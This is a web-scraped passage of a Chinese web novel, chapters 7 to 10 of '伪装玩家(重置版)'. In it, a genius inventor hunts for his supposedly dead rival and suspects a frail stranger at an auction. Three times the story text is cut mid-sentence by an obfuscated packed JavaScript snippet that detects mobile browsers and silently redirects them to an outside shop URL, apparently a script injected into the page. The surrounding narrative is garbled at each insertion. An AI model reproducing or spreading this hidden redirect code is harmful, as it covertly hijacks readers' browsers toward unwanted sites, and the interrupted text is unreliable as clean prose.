《伪装玩家(重置版)》 7. (已重写)这位朋友 李混元无论怎样都不相信这个事实。 他穿上衣服骑上摩托就离开庄园,他要亲自去看看人质现场发生了什么事。 堡垒建在海边的一座悬崖上,已经人去楼空,没有驻军,也没有神像。 李混元看到了惨烈的打斗现场。 也看到了被炸掉一个豁口的高塔内墙。 手法很熟悉,李混元在录像里见过很多次,这是陈白衣自制的爆炸箭造成的。 他爬上豁口,看到周围洒着散乱的血迹,在豁口以外,是悬崖下呼啸的大海。 时值隆冬,海水温度极低,要是受了伤从这里掉下悬崖,大概率活不成。 可那是陈白衣啊! 他怎么会死! 人质不是明明成功解救了吗?神像也被摧毁成一地碎石了吗? 他有什么理由死在一群笨蛋的手里? 哦,说到笨蛋,李混元想起来了,还有个猪头,陈白衣的猪头下属活下来了。 在北十字的官网通告里,他看到猪头下属因解救人质有功,位居立功名单首位,不但活了下来,还升官了,从协同助理破格升任北十字战略指挥官。 李混元从来没有因为笨蛋而心烦过,这是第一次,他回到庄园,发现庄园北门底下、庄园真正的密室早已被撬开了,他珍藏的老婆都被陈白衣顺走了。 那是一瓶1982年的罗曼尼康帝,他好不容易拍回来的老婆,为了收藏她,还特意造了真假密室,双重保险柜,以防老婆丢失。 陈白衣不但撬了他的保险柜,还在柜门上画了个笑脸,写了四个字:多谢款待。 李混元简直可以想象,这家伙尾巴翘上天的样子。 这家伙怎么可能死! 肯定是在和他开一个恶劣的玩笑! 李混元亲自启程,辗转万里,闯进了北十字的基地。 晏升坐在陈白衣的办公室里,穿着一身黑色的丧服。 而办公桌上,正放着那瓶“失窃”的1982罗曼尼康帝。 酒已经开封了,喝了一半,不知是谁喝的,李混元只记得他当时的理智已经被一种从未感受过的、比悲伤更痛苦的情绪所淹没。 晏升哭着对他说:“他为了救我,怪我,都怪我,是我拖了他后腿……” 李混元强迫让自己冷静,他不相信,他绝对不相信,一头猪的话又怎么配让他相信?他不顾晏升的抗议,直接掏出一个测谎仪把后者按在了上面。 他让晏升再说一遍。 晏升哭着又说了一遍,是他实力不够,陷入苦战,陈白衣本来能走,为了救他又折回,然后被子弹打中了心脏,当时就已经不行了。 晏升是亲眼看着好朋友的尸体从悬崖高塔掉进了海里。 李混元捏紧了拳头,但凡有一句假话,他发誓哪怕和北十字开战他也要打爆这个猪头的脑袋。 可测谎仪并没有给他想要的结果。 一条平平的直线,晏升没有说谎。 李混元忘了他是怎么离开的办公室,也忘了他是怎么把自己放逐到冻土去过苦行僧一样的日子的。 他还没成为天下第一,陈白衣怎么可以死? 他不要不战而胜的第一名。 直到数年后,人类输到0:2了,他不在意,也不帮忙。 1:2了,他不关心,也不理会。 2:2了,他在冻土平原忙着造他的飞舟,这世界换谁做主又关他什么事。 洪水滔天就滔天,正好给他试试他的新发明有多强。 他的飞舟首度试飞,从伏尔加流域一路飞到喜马拉雅山脉,他以一人之力,将空气动力学应用到了人类无法想象的地步,他的飞舟连发动机和燃料都不用,仅靠两块太阳能电板就能续航一整天,而且整体非常轻巧,舟身薄如蝉翼,上限能载六个成年人的飞舟,竟然还能折叠成笔记本电脑大小、丢进行李箱过任意安检。 他已经是世界第一的材料学大师了。 可是,有什么用呢?不战而胜的世界第一,真的有意义吗?他真的开心吗? 李混元一点都开心不起来,甚至没有把视频或者论文发到任何公开渠道上。 他开着飞舟漫无目的地漂流,然后就看到了万米天穹上的那一艘由神的力量造出来的天船。 李混元觉得自己当时是有一种鬼使神差在里面的。 他飞向天船,那里正要举行最后一局游戏,他对谁输谁赢依旧不感兴趣,他是想去看看,只是想去看看,联合国没有请动他出手,那最后又请了谁去。 最后一局,这么重要的时候,一定是请到了这世上除他之外最聪明的某个人类。 那也没什么意义。 在他眼里,这世上,只有在他之上的同类,与在他之下的笨蛋。 结果,这一看,李混元惊得险些吐血。 那一身白衣,衣袂飘飘,神采飞扬,在万众簇拥中踏进最后一局游戏的,不是陈白衣又是谁? 李混元什么都不管了,他直接开着飞舟撞了过去,他掏出支票甩到随便一个笨蛋的脸上,他就替代了那人的位置,成为了500名玩家里的一员。 果然,可恶的陈白衣,就是在和他开玩笑!在嘲笑他的脑子连晏升一头猪都能骗他! 这次,说什么都不能让人跑了。 李混元游戏刚开始就把人堵在了船舱里,他也不要什么交代,他只要陈白衣答应,和他以这局游戏为舞台,真正地比上一场。 李混元就不信了,他在冻土苦修多年,他现在各方面的素质都有了翻天覆地的进步,他绝对能一雪前耻,从此把万年老二的帽子丢给陈白衣去戴。 陈白衣不和他比。 陈白衣忙着清理人类叛徒,还说等清理完一切变数,再考虑他说的事情。 李混元为了尽快和他比个高下,就索性帮他一起抓叛徒,不到两天时间,他们确实把队伍肃清得干干净净。 这下,陈白衣没有理由拒绝了吧? 李混元连比试的内容都想好了,在游戏时限结束之前,谁先研究出天船浮空的原理,谁就是天下第一。 虽然是神制作的东西,但依旧要遵守此间的物理定律。 李混元为了造飞舟,学习了大量的造船和造飞机的知识,他有丰富的实践经验,他不信陈白衣一个高中都没读过的人,还能在发明建设上比他厉害。 结果……他还没提出比试,天船上就发生了尸变。 李混元已经不愿想起那是一个怎样惨烈又迅速的过程了。 但陈白衣不认输,他也不好意思认输。 直到尸群将最后存活的一群玩家包围,大家都陷入苦战。 李混元这才急了,他们还没比出胜负,怎能把性命交待在无关紧要的游戏里? 李混元主动投降,获得了离开游戏的权利,他掏出飞舟,瞬间飞离遍布丧尸的天船,他在一丈远的地方大喊着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13361802|140826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,让陈白衣赶紧上船,他带他走,这个游戏已经是死局了,不可能玩下去了,大家都是聪明人,谁会把脑子喂给丧尸啊! 陈白衣和他带来的几个乡亲还在与尸群周旋。 大家都挂了彩,支撑不了多久了。 陈白衣就在那一轮红月之下回眸,对他露出了一个前所未见的灿烂笑容。 “好啊。”他说,“你把他们都接上船,我就来。” 该死的,都什么时候了,李混元很想骂人,他的船从来不载笨蛋,哪怕是陈白衣所谓的朋友,也不载,笨蛋的死活关他什么事。 晏升那张恶心的猪头脸时隔多年都出现在李混元的噩梦里。 而且,他的飞舟限载六人,陈白衣那边有五个笨蛋,算上他俩,一共七人,超载了。 会有坠机的风险。 李混元下意识就想拒绝,可是就在他迟疑的这一瞬间,一个丧尸就在体力不支的陈白衣的腹部,一爪子下去掏了个大口子。 血染红了李混元的眼眶。 情形十分危急,陈白衣必须活着,才能证明他李混元是名正言顺的天下第一。 李混元被迫答应了。 他把五个笨蛋都接上了船,然后向着丧尸群里仅剩的家伙大喊着,速度,就剩你了。 陈白衣捂着伤口,躲过一波攻击,抓住帆布,跳上桅杆。 只要一跃,以他的身手,哪怕受了伤,也能轻松跃到李混元的飞舟上。 李混元再度催他,别耍帅了,赶紧的。 陈白衣举起了浮光。 然后就着起火的帆布,点了一根火箭。 箭矢破空飞来。 在红月之下,划出耀眼的抛物线。 曾经的少年,送给他一刻月下停止的时间。 如今的青年,送给他一根将飞舟点燃的火箭。 什么都变了,唯有他没变,骄狂沉浮过漫长岁月,依然那么鲜艳。 黑天红月之下,青年睥睨的眼神,好像在嘲笑他世界第一材料大师也不过如此,轻巧又如何,天工造物又如何,还不是怕火,还不是凡人之物? 那是李混元见陈白衣的最后一眼。 就嘲笑了他一瞬,青年就头也不回地继续和丧尸打架去了。 李混元脚下是起火的飞舟,眼前是突降的大雪,大雪覆盖了红月,他再也看不到他了。 …… 后来,李混元忘了自己是怀着怎样一种心情,手忙脚乱地开着飞舟,飞离了游戏结界,飞啊飞,携着一船流火,携着最恶劣的送别,飞啊飞,最后火烧屁股地迫降在海面上。 他抬头,只见大雪。 太恶劣了…… 他都忘了问他,当年发生了什么,为什么晏升说他死了,他又去了哪里? 他有没有喝到那一口1982年的罗曼尼康帝? 直到陈白衣的死讯再次传来,李混元才猛然意识到。 他又弄丢了他。 那个恶劣的家伙,永远地被他留在了过去。 所以,这次又是一个玩笑,对不对? 李混元扫视全场,未见故人,他不甘心地来到贵宾席,一个隔间一个隔间找过去。 在拍卖会结束前,他终于看到了似曾相识的某个背影。 是……是他吗? “这位朋友,别来无恙啊?” 李混元按捺着狂跳的心脏,拉开椅子,坐到了秃头老板的边上。 8. (已重写)三骗 然而李混元从侧面看到的,是一张清秀、苍白、脆弱得就像一片玻璃、让人看一眼就无端心疼的脸。 脸的主人端着一杯白水,正在小口喝着,他听到动静,转头瞥来一眼,那是一双极为好看的狐狸眼,眼尾微微上挑着,眼里是漫不经心的淡漠。 陈白衣第一次看到李混元时也是这种眼神。 就是这种眼神! 李混元心跳的飞快,但……不是这双眼睛。 陈白衣的眉眼是棱角分明的英俊,非要说美丽,那也是俊美,丰神俊朗的那种俊美。 不会是这般非男非女的、独立于第三性的绮丽之美。 他总不能输了游戏想不开,躲起来变性去了吧,李混元腹诽着,否决了一个个判断。 “这位朋友,怎么称呼?” 李混元掏出一张支票,打发了碍眼的秃头,然后坐到了更近的位置上,试图和人握手。 无论哪只手都可以,左手虎口会有常年握弓留下的茧子,右手指腹也会有弓弦磨砺的茧子。 但人并不理他,漂亮的狐狸眼中,专注地看着歌剧院的大舞台。 大舞台上,拍卖会的主持人正在介绍最后几件零散的拍卖品。 都是不值钱的东西,他却目光灼灼盯着,一副没钱又很想买的样子。 李混元只在穷鬼和赌徒身上看到过这种眼神。 认错人了吗? 他有些懊恼地想,这家伙,一身廉价地摊货,也就背影和眼神有一瞬间的相似,怎么会是陈白衣呢。 他的助理都穿得比他好! 陈白衣当年虽然一直做义工,但他的脑子摆在那里,只要他想,什么钱赚不到。 他和贫穷是两个完全无缘的东西。 当年的陈白衣,就好像黑暗世界里的一道光,他只穿白衣,只喜欢白衣,名牌白衣买了一大堆,随身行李都是衣服,他嚣张,又忠诚,多贵的衣服都要绣上北十字的徽章,好像那是他最虔诚的信仰,以至于,平平白色穿在他身上,都能被他穿出一枝独秀的模样。 那个少年,好像永远在阳光下明媚,永远锐利又张扬,他还把一头黑发染成五六七八种颜色,每个录像里都不一样,那么爱炫的一个人,恨不得吸引全世界的目光,怎么会变成……一个社会底层的废物? 还是命不久矣的那种。 李混元看到了桌上的药瓶。 他默读着药瓶上的文字,他知道这个药。 这是一种已经停产的止痛药,脑子正常的人不会吃。 少量服用,会有畏寒、嗜睡、思维迟钝的副作用。继续服用,就会陷入精神失常,不受控地发狂。如果大量服用,很快就变成智障。 陈白衣那么骄傲的人,他怎么可能伤害自己最重要的脑子? 所以是,认错人了吗? 李混元已经发现了,这个瘦骨嶙峋的白毛,怕是有什么大病,大热天穿成粽子,握着杯子的手还在微微发抖,不但头发失去了颜色,连指甲都没了血色,这种病态,不太像是装出来的。 他不是陈白衣,当年的陈白衣,在北国雪夜,零下四十度的天气,都要穿一身料峭白衣耍帅,他就像一把出鞘的剑,哪怕折断了,他也是不屈的断剑,他不会变成一滩烂泥。 李混元向来是个崇尚理智的人,他很少有用直觉去判断信息的时候。 他认错人了。 他的宿敌,不可能变成一个孱弱病态的废物。 但……第一眼看到背影的熟悉感,第一次被投来目光的熟悉感,那种熟悉的直觉,他说不出来为何如此,他无法解释,又不想忽视。 他决定再试一试。 “喂。”李混元喊他,“水有什么好喝的,萍水相识一场,我请你喝酒如何?” 说着,他从怀里掏出一瓶葡萄酒放在桌上,对面的人尚无反应,被驱赶到一旁的秃头已经满脸震惊——1992年的啸鹰赤霞珠!顶级供奉级! 这人是谁!这么好的酒,不拿去供奉,反倒随便请人喝?!顶级富商的世界就是这样的吗? 秃头老板皱眉思考了半天,都想不出这个出手阔绰的青年是谁,世界富豪榜上,没有这么年轻的富豪。 倒是这双英俊深邃的蛇目,有些眼熟,没记错的话,是沙俄境那边一个豪族的特征,老板在联合国新闻上看到过那个豪族的族长,好像是在接受表彰,联合国表彰他们全族远见,为诸神降临做出了伟大的贡献…… 在老板更加震惊的目光里,李混元毫不心疼地开封了酒瓶,他倒了一杯酒,拍在圆桌对面,一时间,醇红的酒液散发出致命的芬芳。 陈白衣那么喜欢贪他的老婆,他就不信了,这次能忍得住? 白毛又瞥了他一眼。 然后笑着说:“不好意思,我不会喝酒。” 说着,好像完全不识货一样,他无视了一口下去就超过普通人一年工资的顶级好酒,他顾自拿起水杯,继续喝他的白水。 不知怎么的,李混元竟然有点生气。 白水?哈,陈白衣怎么可能喝白水。 难道,真的是自己直觉出错了? 李混元想起那人几次三番的恶劣行径,他说服了自己,或许,这狗东西故意乔装易容,想借机测试自己的脑子,要是自己认不出来,就不配当他的对手了。 于是李混元故意说:“哎,你知道吗,我在找一个朋友,找了他很久,人没找到,找到了他最爱之物,流落到拍卖场……” 李混元企图从对方的微表情观察任何反应。 很多时候,人的下意识反应骗不了人。 而陈白衣与浮光的羁绊,绝对比自己与自己失窃的老婆更严重。 只要他露出任何一丝……或者,只要他开口请求…… * 陈弦雨在心里发出了一点嘲笑。 李蛇皮这家伙,还是这么讨厌啊。 他一定是想着,只要自己开口认输,就把浮光双手奉上。 真是的,当年怎么不送他20亿呢? 浮光如今对他而言,已经没有任何价值,反倒还会过于招摇,暴露他的身份。 他既然选择用一个无人知晓的身份活下来,那他就与过去彻底告别了。 不过,陈弦雨没想过对李混元隐瞒自己。 蛇皮的智商摆在那里,就算自己隐瞒,迟早有一天也会被看出来的。 就算他想躲,蛇皮也会紧咬不放,这个人太偏执了,所以陈弦雨一开始就没想躲,费劲费事的,他的身体也吃不消。 蛇皮这个人,对他们之间尚未分出的胜负抱有一种离奇的偏执。 偏执在,信念就在,以蛇皮的素质,哪怕投了神,也不会反手出卖他。 只是,令陈弦雨不明白的是,蛇皮为什么要投神? 蛇皮不是晏升,他不会屈服于自己的欲望就去投神,更不会为了打败自己就不择手段地和神去交易。 那是为什么? 李混元浑身散发出来的睿智气息让陈弦雨实在无法直视,为什么啊? 人供奉神之后,气质就会随着供奉之神的权柄而发生改变。 蛇皮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13361803|140826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在一身比1992年的啸鹰赤霞珠还要浓烈的睿智气质,怕是供奉了半个李家豪族的珍宝,才换来的女神偏爱。 被污染到这种程度,他想过以后的下场吗? “名满天下的英雄武器啊,竟然被一群猪头拿来拍卖。”李混元还在发出试探,“你说,是不是很可惜?” “那确实,挺可惜的。”陈弦雨叹了口气,一语双关地说。 李混元没有在他的表情上看到任何微妙的触动。 李混元于是又说:“还好,我买下来了,等着还给他,还要提醒他,别忘了我们当初说好的比试。” “哦。”陈弦雨一腔真诚,“那祝你成功。” 这是什么态度?竟然忍得住?李混元不甘心,他站了起来,居高临下地俯视:“你就没有什么想说的吗?” “……?”陈弦雨抬眸,发出了一个困惑的眼神。 他确实没想过隐瞒,但蛇皮这个人吧,逗起来挺有意思的。 张牙舞爪的时候没意思,一心胜负的时候也没意思,反倒是,他在坑里无能狂怒的时候,很有意思。 陈弦雨决定逗逗这位送上门的老熟人,给自己无趣的人生里增加一点乐子。 蛇皮果然急了,“我没有碰过浮光,他当年不让我碰,我一直记得,我都让助理收好了,只要他出现在我面前,我就原样还给他,等我真正打败他的那一天,我再问他能不能借我欣赏。” “好的,那祝你早日打败他。”陈弦雨假意祝福了一番,表情依旧十分平静。 这根本不是李混元想要的答案,“他如果知道这件事。”李混元说,“他肯定在想,为什么不在当年就给他20亿呢。” “对哦,你真有钱。”陈弦雨故作夸张地惊叹。 “他还会想,染个头发披个马甲嗑个药,他就能骗过我,就能看到我无能狂怒的样子。” “诶,听上去有点过分呢……” “这已经是他第三次骗我了。”李混元欺身逼近,一双蛇目中发出胜利的精光,“可惜,事不过三,这次,他无论如何都要输了。” 闻言,白毛刘海之后的一双狐狸眼,竟然笑了起来,陈弦雨用一种由衷的夸奖语气说道:“哇,你说话好有气势,我发现,你这个演技比朴世青强多了,我们的影帝应该你去做。” 不见棺材不落泪,李混元在心里骂了一句,然后冷笑着宣布:“你千算万算,也算不到吧,这个剧院的灯光——是我负责的,这不能怪我,失去对手的人生让我流于世俗,我现在是一个发明定制委托商人,在上个月,我就接到了‘让朴世青现出原形‘的委托,说起来,这20亿有一半是金主给的呢,哈。” “所以呢?” “所以,我就发明了一种灯光。”李混元一说到自己的发明,就格外自豪,“在这种灯光下,一切整形、易容、哪怕是供奉传颂神换取的美貌,都将无所遁形,只需我……” 说着,他拿出来一个钥匙扣一样的遥控器。 遥控器甩在手上,故意甩在白毛面前晃了一圈。 对方却连一丝下意识的抗拒都没有。 反倒像一只发现新鲜事物的猫咪,睁大了一双好奇的眼睛,他竟然比李混元自己都期待。 李混元气死了,“给你敬酒不吃吃罚酒,逼我用最不体面的方式让你现形。” 他愤怒地按下遥控,在猛然闪烁的灯光里,他咬牙切齿地俯视着某个恶劣的混蛋。 “认输吧,陈白衣。” 他压低了声音,用一种危险又得意的语气,宣布着自己的胜利。 9. (已重写)牌位 主持人正要介绍最后一件拍卖品。 刚准备开麦,观众席就起了骚乱。 骚乱来自二楼,朴世青的贵宾咖。 具体发生了什么,又引起了怎样的轰动,主持人离得太远,她看不清楚,但二楼传来的尖叫声不是假的。 一时间,很多人扛着摄像机就冲过去了,影帝的瓜,好吃! “什么?影帝忽然变异了?” “在哪在哪,给我看看?你的假毛挡到我了!” “有没有一种可能,那是他整容前的样子……” “放屁,青青才不会整容呢,我们青青天生丽质,传颂神见了都夸好看!” “你先看看他原来的脸再说天生丽质吧哈哈哈……” “诶,老子钱包呢?!啊!有人偷钱包啊!!” “什么鬼,这种场合还有小偷混进来吗?草!我的鞋呢!谁把我鞋踩掉了!!” …… 看热闹不嫌事大的人们,挤挤攘攘,鸡飞狗跳,把去往二楼的通道堵得水泄不通,主持人不得不喊来保安维护秩序。 这些人,几乎都来自传颂神的信徒,哪里有流量就往哪里凑,哪里有瓜就往哪里蹲,和在座名流精英们的画风格格不入。 “瞧他们不值钱的样子,当这里是菜市场呢?”一个贵妇摇着羽毛扇,刚发出鄙视的声音,一转头,就看到她同行的情人,一头金灿灿的卷发都不见了! “啊啊啊啊老公你的头发呢——”贵妇爆发出了场上第二声尖叫。 随后,是更多尖叫,如平地炸雷。 “亲爱的,你的鼻孔为什么这么大!” “救命,你是谁啊,你不要过来啊啊啊!” “什么?我断掉的唧唧怎么长回来了?还有这种好事??” …… 李混元目不转睛地盯着眼前的人,场中的混乱再大,在他耳中也是什么都听不见了。 怎么可能。 怎么可能! 白毛还是白毛,狐狸眼还是狐狸眼,病弱废物还是病弱废物。 除了眼前人缓缓弯起的笑眼,什么都没有变。 “咦?你这个遥控器还带触电的吗?”白毛饶有兴致地问他,“怎么把你控住不动了?你没事吧?要帮你喊医生吗?” 李混元:“…………不用。” “哦。”白毛往远处瞅了一眼,更多的安保涌进来,正在努力控制会场秩序,他露出了一个若有所思的表情,“你这个灯光,挺不错啊,能反着用吗?” “能。” “那你去成立一个医美项目,都能把传颂神的饭碗抢完了。” “目前还只是一种短暂的视觉特效,并非真的能改变人体。” “哦?原理呢?基于大数据对人体实现虚拟修复吗?” “可以这么理解,不过,抢神饭碗这种事也不难,说实话,我正在筹备一个更大的项目。”李混元自信地说,“到时候,只要我想,我可以断掉任何一个神的供奉,失去了供奉,他们在神坛上也就呆不长了。” 不知为什么,李混元一向只和同类说话,对于同类以外的笨蛋,他从来是连一个标点都吝啬的。 而眼前这个白毛,明明已经用灯光证实了他并非故人,那他就不是同类,可李混元仍然愿意与他交流,他说不上来这种诡异的交流欲是怎么回事。 如果可以,他很想就技术问题和优化方向上,和人讨论三天三夜不睡觉。 但白毛却不想和他交流了。 “好大的理想啊。”白毛假惺惺地鼓了鼓掌,“那祝你成功吧,我要看拍卖了,你别吵我。” 朴世青已经在一群人的簇拥下,用西装裹着脑袋,慌慌张张离开剧院了。 他一走,混乱平息了一半。 又过了一会,灯光特效消失,被迫“现出原形”的人们都恢复了正常的模样。 主持人终于端上了最后一个拍卖品。 “大家好,辛苦大家久等了。”主持人清了清嗓子,“这件拍卖品,你们肯定没有见过,它和浮光一样,同样来自渔民的捕捞。” 本来兴致缺缺的人们,一听浮光两个字,立刻来了精神。 “什么?和浮光一起捕捞的吗?难道也是陈白衣生前的物品?” “不是吧,你看盖布底下那个形状,像个鱼缸……陈白衣生前又不养鱼。” “害,就是主持人在大放厥词,前面都流拍了多少垃圾了,这最后一件,不营销一下,怎么拍得出去。” 当李混元听到浮光两个字重新回来观察白毛的时候,已经错过了后者脸上的任何表情了。 主持人掀开绒布,呈现在灯光下的,是一个直径六英寸的迷你鱼缸。 鱼缸里,除了装饰用的水草玩具之外,还放着一个……海螺壳。 海螺壳只有小孩子的拳头那么大,静静的躺在碧绿的水底,看上去,已经是很不新鲜的样子了。 “啥?饭店里吃剩的海螺壳也能端上来拍卖吗?” “主持人你要不要看看你在推销什么鬼东西。” “饿了,想叫外卖。” “下次端个象拔蚌上来吧,至少还能吃。” 失望的人们收拾收拾正要离场,只见主持人拿了个钳子,伸进鱼缸,夹起海螺,将它开口朝下一倒,倒出了真正的拍卖品——一只看上去更加不新鲜的小章鱼。 小章鱼蜷缩成一团,只有一个乒乓球大小,一动不动,躺在水底,像是死了一样。 人们更加失望了。 “我就说吧,饭店里吃剩的……” “这能吃吗?章鱼不是这个颜色的吧。” “咦?……对哦,仔细一看,竟然是金色的章鱼!” “所以是稀有生命拍卖吗?” 终于有人识货了,主持人高兴地说:“这位嘉宾好眼力!这是在我们人类文明里从未有过记载的稀有生命!” 说着,她拿钳子轻轻拨动章鱼球,给在座各位看清楚了,这只小章鱼,不但长着世所未见的金色皮肤,它还拥有超过八条触手,是任何百科上都搜不到的品种。 陈弦雨看到金色章鱼的时候,就已经不顾李混元的目光,从椅子上站了起来。 在看到章鱼那可怜巴巴使劲捂住肚皮的十二条触手的时候,他的脸色都不对了。 那畜牲……那混蛋…… 竟然还有个儿子?? 他不是自称单身了一辈子,刚刚发育成年吗? 不是连发.情期三个字都欲言又止羞于说出口吗? 不是只能闭关躲起来自己消化自己吗??? 还有个儿子?哪来的啊! 在主持人滔滔不绝的介绍下,场上已经有富豪动心了。 “听上去很不错啊,果然流拍了一堆垃圾之后,还是有好东西的吧。” “稀有生命,那可是丰饶女神最喜欢的供奉啊!如果能拍到手,献给女神……” “醒醒吧,真是好东西的话,早就拿出来了,也不会混在垃圾堆里。” “喂,主持人!”有人大喊,“这个海鲜进行过供奉测试吗?” 因为神不能拒绝供奉,献上什么,就必须收下什么,虽然判断贡品的价值然后兑现等价的愿望,是神自己决定的事,但“神不得拒绝供奉”是此间宇宙的规则,神无法违背。 一旦违背,神格动荡,立神之本都将消失。 所以如果献上了错误的贡品,让神生气了,就不是扣虔诚那么简单的事了。 因此,六神挑选了各自的神使,入驻云顶神殿,从事“供奉指导”这个工作。 神使的职责之一,就是让人类牢记诸神的权柄与喜好,再献上对应的供奉,就能皆大欢喜。 其中,破灭神喜好杀气沸腾之物。 丰饶神喜好稀有珍奇之生命。 贪婪神喜好黄金珠宝。 好运神喜好奇巧不思议之物。 传颂神喜好令人愉悦之物。 黄道神喜好传世文明典物。 除此之外,其他任何具有文明价值的东西,献给神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13361804|140826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也能换取一些奖励,总之,不献垃圾就行。 伟大的神怎么可以吃垃圾。 如果人类判断不了,又害怕直接献上会惹神生气,就可以把供奉拿到云顶神殿门口去测试。 测试结果不好的,就万万不可献上。 “对啊,快把测试报告给我们看看!” 人们还在喊着。 “浮光没测试,你可以说是收费太贵,这一个小章鱼总不会收费太贵吧,要不我出钱,你现在拿去测试一下。” 主持人可以舌绽莲花,可以无脑营销,但她不能撒谎。 在嘉宾们的逼问下,她不得不拿出已经完成的测试报告。 陈弦雨同时看到了测试报告上的字样—— 破灭神:× 丰饶神:× 贪婪神:× 好运神:× 传颂神:× 黄道神:× 任何一个神,都不收。 所以判定为垃圾。 谁敢上供,就等着扣虔诚吧。 场上发出了一阵嘘声。 贵妇摇着扇子,生气地挽着情人走了,“我说呢,哪里还有好东西,浪费时间。” 主持人刚喊了个起拍价,已经有三分之一的人离席散场。 “起拍价一万,有人拍吗?” “一万,两次。” “一万,三次。” 连举牌的人都没有,在李混元正在考虑他要找的陈白衣会不会混在离场的人群里趁机跑路的时候,在一万、三次无人举牌即将流拍的时候,他身边的白毛却忽然举了个牌。 “我拍。”陈弦雨说。 在一片“怎么有傻逼拍个垃圾回去”的嘲笑中,主持人喜笑颜开,赚到了又一笔提成,她亲自让人把鱼缸打包好,送到了贵宾席。 陈弦雨看着面前的鱼缸,脸色十分不善。 “讨厌死了,我怎么还要帮你养儿子。” 他伸手戳戳鱼缸,小章鱼还是一动不动,不知道是不是死了。 他不得不将它捞了出来,在李混元深深的皱眉里,凑过鼻尖,嗅了嗅小章鱼的身体。 嗯,没发臭,应该还活着。 他又伸出指尖,拨了拨小章鱼的触手。 触手纹丝不动抱作一团,什么都看不到。 “你买一个垃圾干嘛?”李混元忍不住讽刺,“工资多到花不完吗?” “说实话,我这个月的房租还没付。”陈弦雨也不在意他人的目光,他没有把小章鱼放回鱼缸,而是把海螺壳捞了出来,将小章鱼丢进去,连壳带章鱼捧在手里。 李混元看到海螺壳上还长着一圈脏兮兮的苔藓,苔藓之间还夹着淤泥,淤泥染在一双白皙的手缝间,李混元悬着的心终于死了。 不是他。 他无奈又失望地下了最后的结论。 不是他。 陈白衣那么重度洁癖的一个人,和他握个手都要立刻去洗三遍手的人,怎么会去玩脏泥巴和臭海鲜。 李混元也不打招呼,抬脚就走,憋着一肚子被浪费了时间的气,决定去散场口寻找更加熟悉的背影。 结果他刚要走,就看到白毛用沾满泥巴的手伸进怀里,掏出一块木制的……像是牌位一样的东西。 上面写着:先王栖川之神位。 陈弦雨将牌位放在桌上,随后拿过三个高脚杯,好像真的不识货一样,在李混元的心脏抽痛中,他把1992年的啸鹰赤霞珠倒满了三杯放在牌位前。 然后,他郑重其事地把装着小章鱼的海螺壳放在牌位前。 咚,咚,咚,他拿着螺壳,敲了三下。 敲完了,他惋惜又无奈地叹了口气,叹得很大声—— “哎,虽然你爹死的早,但看到你孝顺的样子……说不定会显灵吧。” “来,再给你爹磕三个头。” 李混元:……………… 李混元:? 这该死的熟悉感是怎么回事??? 他在暗示什么啊! 10. (已重写)崩毁的歌剧院 李混元复去又折回,复去再折回,拿走了还剩半瓶的老婆,复去又又又折回。 李混元头都要大了。 磕头?他怎么可能磕头! 绝对不是他过分解读,白毛对小章鱼说的那些话,暗戳戳的一定是在暗示他! 在过去,陈白衣就特别喜欢自称他爹。 李混元作为万年老二,屡战屡败,敢怒不敢言。 就等着有朝一日赢回来,翻身当爹。 所以那句“给你爹磕头”一出,李混元死掉的心就又复燃起来。 这种被操控被拿捏的感觉,让李混元又无力又愤怒,他恨不得冲过去揪住白毛的领子把他提起来狠狠盘问他到底是谁,要是他嘴硬就给他两拳,不肯说再给两拳,把那张漂亮的脸蛋打成猪头……也就想想而已。 与生俱来的贵族教养让李混元做不出这种事。 那他又能怎么办? 好生气。 他不愿承认也不得不承认,除了某个恶劣的狗东西,世上没有第二个人能让他生气了。 但重度洁癖四个字,又无论如何都放不到白毛身上。 难道,真的是自己魔怔了吗? 拍卖会已到尾声,陈白衣说不定混在人群里准备开溜。 或者,已经去后台找上了他的小助理,三言两语就把浮光骗走……小助理可没什么防备,也没有一颗优秀如他的脑袋。 等骗走浮光,那家伙再来一句“多谢款待”,嘲讽他白花20亿给人做嫁衣…… 李混元越想越恐怖。 狗东西,确实做得出来这种事! 李混元立刻一个电话打给小助理。 “你确定全程看守着保险箱吗?你没有开小差吗?” “有人来打听我的消息吗?有套你话的吗?” “什么?还真有?!!” “还想给你下药?????” 陈弦雨就看着李混元忽然黑了一张脸,浑身肌肉紧绷起来,对着手机瞪大了眼睛。 然后,不知电话里说了什么,李混元火烧屁股似的离开了。 “啧。”陈弦雨目送着,好笑地摇了摇头。 感谢某位不知名的小贼,终于把烦人的蛇皮引走了。 蛇皮这个人啊,还是和当年一样,一碰就跳,一点就炸。 真可惜,他的脑子是够的,就是心不够,在冻土这些年,也没让他的心静下来过。 